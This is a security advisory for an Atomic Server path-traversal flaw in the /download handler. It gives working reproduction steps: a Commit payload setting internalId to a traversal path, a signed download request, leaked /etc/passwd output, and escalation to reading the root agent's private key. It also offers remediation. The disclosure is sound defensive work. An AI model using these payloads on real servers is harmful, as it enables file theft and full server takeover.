GHSA-8vc4-8hjq-988pHighCVSS 8.1

Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)

Published
November 18, 2026
Last Modified
November 18, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

The Commit apply path enforces no allowlist of writable properties, so any authenticated Agent can set the internalId string (datatype string, no character validation) on a resource it owns. The /download handler then uses that value verbatim as a filesystem path — file_path.push(internal_id); NamedFile::open(file_path) — with no sanitization and no containment check (server/src/handlers/download.rs:56-65). By setting internalId to a traversal path (../../../../etc/passwd) or an absolute path (PathBuf::push of an absolute path replaces the buffer), an attacker reads any file on the host. The highest-value target is the server config file storing the root agent private key, which yields full server compromise. Only the upload path sanitizes filenames (sanitize_filename); the download path trusts the stored value. The handler also never checks that the resource is a File.

Affected component

  • server/src/handlers/download.rs:56-65 — file_path.push(internal_id) + NamedFile::open, no sanitization, no File-class check.
  • lib/src/commit.rs (apply_changes) — sets any property; no server-managed-property denylist.

Steps to Reproduce

Environment: joepmeneer/atomic-server:develop, http://localhost:9883. Attacker is any Agent with write on a parent (self-signup, or via the /setup issue reported separately).

  1. Create a resource and set internalId to a traversal path — sign the Commit and POST /commit (200):
subject = http://localhost:9883/pwnfile
set = {
  "https://atomicdata.dev/properties/parent": "http://localhost:9883",
  "https://atomicdata.dev/properties/internalId": "../../../../../../../../etc/passwd"
}
  1. Download it. The auth signature is over the resolved subject (the server strips the /download prefix → http://localhost:9883/pwnfile):
GET /download/pwnfile HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/pwnfile <ms>")>

Response 200 OK returns the host /etc/passwd:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
  1. Escalate — set internalId = /atomic-storage/config/config.toml (absolute path) and download again:
server      = "http://localhost:9883"
agent       = "http://localhost:9883/agents/+/KwsAmyzc7S/..."
private_key = "REDACTED-ROOT-ED25519-PRIVATE-KEY"   # server root agent key
  1. Using the stolen key, the attacker signs a Commit with signer = <root agent> → POST /commit (200) edits data as root. Full compromise.

Expected: internalId treated as a server-managed property and/or /download canonicalizes and confines the path to uploads_path. Actual: Arbitrary host file read, including the root private key.

Impact

Arbitrary file read as the server process: /etc/passwd, env, TLS keys, the sled DB, K8s service-account tokens, and the root agent private key → root impersonation → full read/write/delete of all data. Only a standard account is needed.

Remediation

  • In download.rs: sanitize_filename(internal_id), then canonicalize and assert the resolved path stays within uploads_path before opening; verify the resource is a File.
  • Add a server-managed-property denylist (internalId, rights arrays, etc.) in lib/src/commit.rs so clients cannot set them.

🎯 Affected products1

  • rust/atomic-server:>= 0.30.0, <= 0.40.1

🔗 References (5)